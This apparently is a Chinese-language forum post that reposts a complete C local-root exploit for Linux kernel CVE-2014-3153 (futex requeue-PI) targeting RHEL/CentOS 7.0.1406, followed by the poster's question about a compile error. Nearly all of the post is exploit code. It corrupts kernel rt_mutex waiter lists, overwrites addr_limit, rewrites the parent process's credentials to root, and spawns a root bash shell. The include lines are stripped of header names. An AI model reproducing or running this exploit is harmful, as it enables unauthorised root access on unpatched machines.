Linux Kernel libfutex Local Root for RHEL/CentOS 7.0.1406

摘要

[php]
/*
* CVE-2014-3153 exploit for RHEL/CentOS 7.0.1406
* By Kaiqu Chen ( [email protected] )
* Based on libfutex and the expoilt for Android by GeoHot.
*
* Usage:
* $gcc exploit.c -o exploit -lpthread
* $./exploit
*
*/

[php]
/*
* CVE-2014-3153 exploit for RHEL/CentOS 7.0.1406
* By Kaiqu Chen ( [email protected] )
* Based on libfutex and the expoilt for Android by GeoHot.
*
* Usage:
* $gcc exploit.c -o exploit -lpthread
* $./exploit
*
*/

#include
#include
#include
#include
#include #include
#include
#include
#include
#include #include
#include
#include
#include
#include
#include
#include

#define ARRAY_SIZE(a) (sizeof (a) / sizeof (*(a)))

#define FUTEX_WAIT_REQUEUE_PI 11
#define FUTEX_CMP_REQUEUE_PI 12
#define USER_PRIO_BASE 120
#define LOCAL_PORT 5551

#define SIGNAL_HACK_KERNEL 12
#define SIGNAL_THREAD_EXIT 10

#define OFFSET_PID 0x4A4
#define OFFSET_REAL_PARENT 0x4B8
#define OFFSET_CRED 0x668

#define SIZEOF_CRED 160
#define SIZEOF_TASK_STRUCT 2912
#define OFFSET_ADDR_LIMIT 0x20

#define PRIO_LIST_OFFSET 8
#define NODE_LIST_OFFSET (PRIO_LIST_OFFSET + sizeof(struct list_head))
#define PRIO_LIST_TO_WAITER(list) (((void *)(list)) - PRIO_LIST_OFFSET)
#define WAITER_TO_PRIO_LIST(waiter) (((void *)(waiter)) + PRIO_LIST_OFFSET)
#define NODE_LIST_TO_WAITER(list) (((void *)(list)) - NODE_LIST_OFFSET)
#define WAITER_TO_NODE_LIST(waiter) (((void *)(waiter)) + NODE_LIST_OFFSET)
#define MUTEX_TO_PRIO_LIST(mutex) (((void *)(mutex)) + sizeof(long))
#define MUTEX_TO_NODE_LIST(mutex) (((void *)(mutex)) + sizeof(long) + sizeof(struct list_head))

////////////////////////////////////////////////////////////////////
struct task_struct;

struct thread_info {
struct task_struct *task;
void *exec_domain;
int flags;
int status;
int cpu;
int preempt_count;
void *addr_limit;
};

struct list_head {
struct list_head *next;
struct list_head *prev;
};

struct plist_head {
struct list_head node_list;
};

struct plist_node {
int prio;
struct list_head prio_list;
struct list_head node_list;
};

struct rt_mutex {
unsigned long wait_lock;
struct plist_head wait_list;
struct task_struct *owner;
};

struct rt_mutex_waiter {
struct plist_node list_entry;
struct plist_node pi_list_entry;
struct task_struct *task;
struct rt_mutex *lock;
};

struct mmsghdr {
struct msghdr msg_hdr;
unsigned int msg_len;
};

struct cred {
int usage;
int uid; /* real UID of the task */
int gid; /* real GID of the task */
int suid; /* saved UID of the task */
int sgid; /* saved GID of the task */
int euid; /* effective UID of the task */
int egid; /* effective GID of the task */
int fsuid; /* UID for VFS ops */
int fsgid; /* GID for VFS ops */
};

////////////////////////////////////////////////////////////////////

static int swag = 0;
static int swag2 = 0;
static int main_pid;

static pid_t waiter_thread_tid;

static pthread_mutex_t hacked_lock;
static pthread_cond_t hacked;

static pthread_mutex_t done_lock;
static pthread_cond_t done;

static pthread_mutex_t is_thread_desched_lock;
static pthread_cond_t is_thread_desched;

static volatile int do_socket_tid_read = 0;
static volatile int did_socket_tid_read = 0;

static volatile int do_dm_tid_read = 0;
static volatile int did_dm_tid_read = 0;

static pid_t last_tid = 0;

static volatile int_sync_time_out = 0;

struct thread_info thinfo;
char task_struct_buf[SIZEOF_TASK_STRUCT];
struct cred cred_buf;

struct thread_info *hack_thread_stack = NULL;

pthread_t thread_client_to_setup_rt_waiter;

int listenfd;
int sockfd;
int clientfd;

////////////////////////////////////////////////////////////////
int gettid()
{
return syscall(__NR_gettid);
}

ssize_t read_pipe(void *kbuf, void *ubuf, size_t count) {
int pipefd[2];
ssize_t len;

pipe(pipefd);

len = write(pipefd[1], kbuf, count);

if (len != count) {
printf("Thread %d failed in reading @ %p : %d %d/n", gettid(), kbuf, (int)len, errno);
while(1) { sleep(10); }
}

read(pipefd[0], ubuf, count);

close(pipefd[0]);
close(pipefd[1]);

return len;
}

ssize_t write_pipe(void *kbuf, void *ubuf, size_t count) {
int pipefd[2];
ssize_t len;

pipe(pipefd);

write(pipefd[1], ubuf, count);
len = read(pipefd[0], kbuf, count);

if (len != count) {
printf("Thread %d failed in writing @ %p : %d %d/n", gettid(), kbuf, (int)len, errno);
while(1) { sleep(10); }
}

close(pipefd[0]);
close(pipefd[1]);

return len;
}

int pthread_cancel_immediately(pthread_t thid)
{
pthread_kill(thid, SIGNAL_THREAD_EXIT);
pthread_join(thid, NULL);
return 0;
}

void set_addr_limit(void *sp)
{
long newlimit = -1;
write_pipe(sp + OFFSET_ADDR_LIMIT, (void *)&newlimit, sizeof(long));
}

void set_cred(struct cred *kcred)
{
struct cred cred_buf;
int len;

len = read_pipe(kcred, &cred_buf, sizeof(cred_buf));
cred_buf.uid = cred_buf.euid = cred_buf.suid = cred_buf.fsuid = 0;
cred_buf.gid = cred_buf.egid = cred_buf.sgid = cred_buf.fsgid = 0;
len = write_pipe(kcred, &cred_buf, sizeof(cred_buf));
}

struct rt_mutex_waiter *pwaiter11;

void set_parent_cred(void *sp, int parent_tid)
{
int len;
int tid;
struct task_struct *pparent;
struct cred *pcred;

set_addr_limit(sp);

len = read_pipe(sp, &thinfo, sizeof(thinfo));
if(len != sizeof(thinfo)) {
printf("Read %p error %d/n", sp, len);
}

void *ptask = thinfo.task;
len = read_pipe(ptask, task_struct_buf, SIZEOF_TASK_STRUCT);
tid = *(int *)(task_struct_buf + OFFSET_PID);

while(tid != 0 && tid != parent_tid) {
pparent = *(struct task_struct **)(task_struct_buf + OFFSET_REAL_PARENT);
len = read_pipe(pparent, task_struct_buf, SIZEOF_TASK_STRUCT);
tid = *(int *)(task_struct_buf + OFFSET_PID);
}

if(tid == parent_tid) {
pcred = *(struct cred **)(task_struct_buf + OFFSET_CRED);
set_cred(pcred);
} else
printf("Pid %d not found/n", parent_tid);
return;
}

static int read_voluntary_ctxt_switches(pid_t pid)
{
char filename[256];
FILE *fp;
int vcscnt = -1;

sprintf(filename, "/proc/self/task/%d/status", pid);
fp = fopen(filename, "rb");
if (fp) {
char filebuf[4096];
char *pdest;
fread(filebuf, 1, sizeof filebuf, fp);
pdest = strstr(filebuf, "voluntary_ctxt_switches");
vcscnt = atoi(pdest + 0x19);
fclose(fp);
}
return vcscnt;
}

static void sync_timeout_task(int sig)
{
int_sync_time_out = 1;
}

static int sync_with_child_getchar(pid_t pid, int volatile *do_request, int volatile *did_request)
{
while (*do_request == 0) { }
printf("Press RETURN after one second...");
*did_request = 1;
getchar();
return 0;
}

static int sync_with_child(pid_t pid, int volatile *do_request, int volatile *did_request)
{
struct sigaction act;
int vcscnt;
int_sync_time_out = 0;

act.sa_handler = sync_timeout_task;
sigemptyset(&act.sa_mask);
act.sa_flags = 0;
act.sa_restorer = NULL;
sigaction(SIGALRM, &act, NULL);

alarm(3);
while (*do_request == 0) {
if (int_sync_time_out)
return -1;
}

alarm(0);
vcscnt = read_voluntary_ctxt_switches(pid);
*did_request = 1;
while (read_voluntary_ctxt_switches(pid) != vcscnt + 1) {
usleep(10);
}

return 0;
}

static void sync_with_parent(int volatile *do_request, int volatile *did_request)
{
*do_request = 1;
while (*did_request == 0) { }
}

void fix_rt_mutex_waiter_list(struct rt_mutex *pmutex)
{
struct rt_mutex_waiter *pwaiter6, *pwaiter7;
struct rt_mutex_waiter waiter6, waiter7;
struct rt_mutex mutex;
if(!pmutex)
return;
read_pipe(pmutex, &mutex, sizeof(mutex));
pwaiter6 = NODE_LIST_TO_WAITER(mutex.wait_list.node_list.next);
if(!pwaiter6)
return;
read_pipe(pwaiter6, &waiter6, sizeof(waiter6));
pwaiter7 = NODE_LIST_TO_WAITER(waiter6.list_entry.node_list.next);
if(!pwaiter7)
return;
read_pipe(pwaiter7, &waiter7, sizeof(waiter7));

waiter6.list_entry.prio_list.prev = waiter6.list_entry.prio_list.next;
waiter7.list_entry.prio_list.next = waiter7.list_entry.prio_list.prev;
mutex.wait_list.node_list.prev = waiter6.list_entry.node_list.next;
waiter7.list_entry.node_list.next = waiter6.list_entry.node_list.prev;

write_pipe(pmutex, &mutex, sizeof(mutex));
write_pipe(pwaiter6, &waiter6, sizeof(waiter6));
write_pipe(pwaiter7, &waiter7, sizeof(waiter7));
}

static void void_handler(int signum)
{
pthread_exit(0);
}

static void kernel_hack_task(int signum)
{
struct rt_mutex *prt_mutex, rt_mutex;
struct rt_mutex_waiter rt_waiter11;
int tid = syscall(__NR_gettid);
int pid = getpid();

set_parent_cred(hack_thread_stack, main_pid);

read_pipe(pwaiter11, (void *)&rt_waiter11, sizeof(rt_waiter11));

prt_mutex = rt_waiter11.lock;
read_pipe(prt_mutex, (void *)&rt_mutex, sizeof(rt_mutex));

void *ptask_struct = rt_mutex.owner;
ptask_struct = (void *)((long)ptask_struct & ~ 0xF);
int len = read_pipe(ptask_struct, task_struct_buf, SIZEOF_TASK_STRUCT);
int *ppid = (int *)(task_struct_buf + OFFSET_PID);
void **pstack = (void **)&task_struct_buf[8];
void *owner_sp = *pstack;
set_addr_limit(owner_sp);

pthread_mutex_lock(&hacked_lock);
pthread_cond_signal(&hacked);
pthread_mutex_unlock(&hacked_lock);
}

static void *call_futex_lock_pi_with_priority(void *arg)
{
int prio;
struct sigaction act;
int ret;

prio = (long)arg;
last_tid = syscall(__NR_gettid);

pthread_mutex_lock(&is_thread_desched_lock);
pthread_cond_signal(&is_thread_desched);

act.sa_handler = void_handler;
sigemptyset(&act.sa_mask);
act.sa_flags = 0;
act.sa_restorer = NULL;
sigaction(SIGNAL_THREAD_EXIT, &act, NULL);

act.sa_handler = kernel_hack_task;
sigemptyset(&act.sa_mask);
act.sa_flags = 0;
act.sa_restorer = NULL;
sigaction(SIGNAL_HACK_KERNEL, &act, NULL);

setpriority(PRIO_PROCESS, 0, prio);

pthread_mutex_unlock(&is_thread_desched_lock);

sync_with_parent(&do_dm_tid_read, &did_dm_tid_read);

ret = syscall(__NR_futex, &swag2, FUTEX_LOCK_PI, 1, 0, NULL, 0);

return NULL;
}

static pthread_t create_thread_do_futex_lock_pi_with_priority(int prio)
{
pthread_t th4;
pid_t pid;

do_dm_tid_read = 0;
did_dm_tid_read = 0;

pthread_mutex_lock(&is_thread_desched_lock);
pthread_create(&th4, 0, call_futex_lock_pi_with_priority, (void *)(long)prio);
pthread_cond_wait(&is_thread_desched, &is_thread_desched_lock);

pid = last_tid;

sync_with_child(pid, &do_dm_tid_read, &did_dm_tid_read);

pthread_mutex_unlock(&is_thread_desched_lock);

return th4;
}

static int server_for_setup_rt_waiter(void)
{
int sockfd;
int yes = 1;
struct sockaddr_in addr = {0};

sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);

setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes));

addr.sin_family = AF_INET;
addr.sin_port = htons(LOCAL_PORT);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
bind(sockfd, (struct sockaddr *)&addr, sizeof(addr));

listen(sockfd, 1);
listenfd = sockfd;

return accept(sockfd, NULL, NULL);
}

static int connect_server_socket(void)
{
int sockfd;
struct sockaddr_in addr = {0};
int ret;
int sock_buf_size;

sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
if (sockfd < 0) {
printf("socket failed/n");
usleep(10);
} else {
addr.sin_family = AF_INET;
addr.sin_port = htons(LOCAL_PORT);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
}

while (connect(sockfd, (struct sockaddr *)&addr, 16) < 0) {
usleep(10);
}

sock_buf_size = 1;
setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));

return sockfd;
}

unsigned long iov_base0, iov_basex;
size_t iov_len0, iov_lenx;

static void *client_to_setup_rt_waiter(void *waiter_plist)
{
int sockfd;
struct mmsghdr msgvec[1];
struct iovec msg_iov[8];
unsigned long databuf[0x20];
int i;
int ret;
struct sigaction act;

act.sa_handler = void_handler;
sigemptyset(&act.sa_mask);
act.sa_flags = 0;
act.sa_restorer = NULL;
sigaction(SIGNAL_THREAD_EXIT, &act, NULL);

waiter_thread_tid = syscall(__NR_gettid);
setpriority(PRIO_PROCESS, 0, 12);

sockfd = connect_server_socket();
clientfd = sockfd;

for (i = 0; i < ARRAY_SIZE(databuf); i++) {
databuf[i] = (unsigned long)waiter_plist;
}

for (i = 0; i < ARRAY_SIZE(msg_iov); i++) {
msg_iov[i].iov_base = waiter_plist;
msg_iov[i].iov_len = (long)waiter_plist;
}
msg_iov[1].iov_base = (void *)iov_base0;

msgvec[0].msg_hdr.msg_name = databuf;
msgvec[0].msg_hdr.msg_namelen = sizeof databuf;
msgvec[0].msg_hdr.msg_iov = msg_iov;
msgvec[0].msg_hdr.msg_iovlen = ARRAY_SIZE(msg_iov);
msgvec[0].msg_hdr.msg_control = databuf;
msgvec[0].msg_hdr.msg_controllen = ARRAY_SIZE(databuf);
msgvec[0].msg_hdr.msg_flags = 0;
msgvec[0].msg_len = 0;

syscall(__NR_futex, &swag, FUTEX_WAIT_REQUEUE_PI, 0, 0, &swag2, 0);

sync_with_parent(&do_socket_tid_read, &did_socket_tid_read);

ret = 0;

while (1) {
ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0);
if (ret <= 0) {
break;
} else
printf("sendmmsg ret %d/n", ret);
}
return NULL;
}

static void plist_set_next(struct list_head *node, struct list_head *head)
{
node->next = head;
head->prev = node;
node->prev = head;
head->next = node;
}

static void setup_waiter_params(struct rt_mutex_waiter *rt_waiters)
{
rt_waiters[0].list_entry.prio = USER_PRIO_BASE + 9;
rt_waiters[1].list_entry.prio = USER_PRIO_BASE + 13;
plist_set_next(&rt_waiters[0].list_entry.prio_list, &rt_waiters[1].list_entry.prio_list);
plist_set_next(&rt_waiters[0].list_entry.node_list, &rt_waiters[1].list_entry.node_list);
}

static bool do_exploit(void *waiter_plist)
{
void *magicval, *magicval2;
struct rt_mutex_waiter *rt_waiters;
pid_t pid;
pid_t pid6, pid7, pid12, pid11;

rt_waiters = PRIO_LIST_TO_WAITER(waiter_plist);

syscall(__NR_futex, &swag2, FUTEX_LOCK_PI, 1, 0, NULL, 0);

while (syscall(__NR_futex, &swag, FUTEX_CMP_REQUEUE_PI, 1, 0, &swag2, swag) != 1) {
usleep(10);
}

pthread_t th6 = create_thread_do_futex_lock_pi_with_priority(6);
pthread_t th7 = create_thread_do_futex_lock_pi_with_priority(7);

swag2 = 0;
do_socket_tid_read = 0;
did_socket_tid_read = 0;

syscall(__NR_futex, &swag2, FUTEX_CMP_REQUEUE_PI, 1, 0, &swag2, swag2);

if (sync_with_child_getchar(waiter_thread_tid, &do_socket_tid_read, &did_socket_tid_read) < 0) {
return false;
}

setup_waiter_params(rt_waiters);
magicval = rt_waiters[0].list_entry.prio_list.next;
printf("Checking whether exploitable..");
pthread_t th11 = create_thread_do_futex_lock_pi_with_priority(11);

if (rt_waiters[0].list_entry.prio_list.next == magicval) {
printf("failed/n");
return false;
}
printf("OK/nSeaching good magic.../n");
magicval = rt_waiters[0].list_entry.prio_list.next;

pthread_cancel_immediately(th11);

pthread_t th11_1, th11_2;
while(1) {
setup_waiter_params(rt_waiters);
th11_1 = create_thread_do_futex_lock_pi_with_priority(11);
magicval = rt_waiters[0].list_entry.prio_list.next;
hack_thread_stack = (struct thread_info *)((unsigned long)magicval & 0xffffffffffffe000);
rt_waiters[1].list_entry.node_list.prev = (void *)&hack_thread_stack->addr_limit;

th11_2 = create_thread_do_futex_lock_pi_with_priority(11);
magicval2 = rt_waiters[1].list_entry.node_list.prev;

printf("magic1=%p magic2=%p/n", magicval, magicval2);
if(magicval < magicval2) {
printf("Good magic found/nHacking.../n");
break;
} else {
pthread_cancel_immediately(th11_1);
pthread_cancel_immediately(th11_2);
}
}
pwaiter11 = NODE_LIST_TO_WAITER(magicval2);
pthread_mutex_lock(&hacked_lock);
pthread_kill(th11_1, SIGNAL_HACK_KERNEL);
pthread_cond_wait(&hacked, &hacked_lock);
pthread_mutex_unlock(&hacked_lock);
close(listenfd);

struct rt_mutex_waiter waiter11;
struct rt_mutex *pmutex;
int len = read_pipe(pwaiter11, &waiter11, sizeof(waiter11));
if(len != sizeof(waiter11)) {
pmutex = NULL;
} else {
pmutex = waiter11.lock;
}
fix_rt_mutex_waiter_list(pmutex);

pthread_cancel_immediately(th11_1);
pthread_cancel_immediately(th11_2);

pthread_cancel_immediately(th7);
pthread_cancel_immediately(th6);
close(clientfd);
pthread_cancel_immediately(thread_client_to_setup_rt_waiter);

exit(0);
}

#define MMAP_ADDR_BASE 0x0c000000
#define MMAP_LEN 0x0c001000

int main(int argc, char *argv[])
{
unsigned long mapped_address;
void *waiter_plist;

printf("CVE-2014-3153 exploit by Chen Kaiqu([email protected])/n");

main_pid = gettid();
if(fork() == 0) {
iov_base0 = (unsigned long)mmap((void *)0xb0000000, 0x10000, PROT_READ | PROT_WRITE | PROT_EXEC, /*MAP_POPULATE |*/ MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
if (iov_base0 < 0xb0000000) {
printf("mmap failed?/n");
return 1;
}
iov_len0 = 0x10000;

iov_basex = (unsigned long)mmap((void *)MMAP_ADDR_BASE, MMAP_LEN, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
if (iov_basex < MMAP_ADDR_BASE) {
printf("mmap failed?/n");
return 1;
}
iov_lenx = MMAP_LEN;

waiter_plist = (void *)iov_basex + 0x400;
pthread_create(&thread_client_to_setup_rt_waiter, NULL, client_to_setup_rt_waiter, waiter_plist);

sockfd = server_for_setup_rt_waiter();
if (sockfd < 0) {
printf("Server failed/n");
return 1;
}

if (!do_exploit(waiter_plist)) {
return 1;
}
return 0;
}

while(getuid())
usleep(100);
execl("/bin/bash", "bin/bash", NULL);
return 0;
}
[/php]
但是我编译的时候提示是这个错误..

不止是不是需要在centos7上编辑呢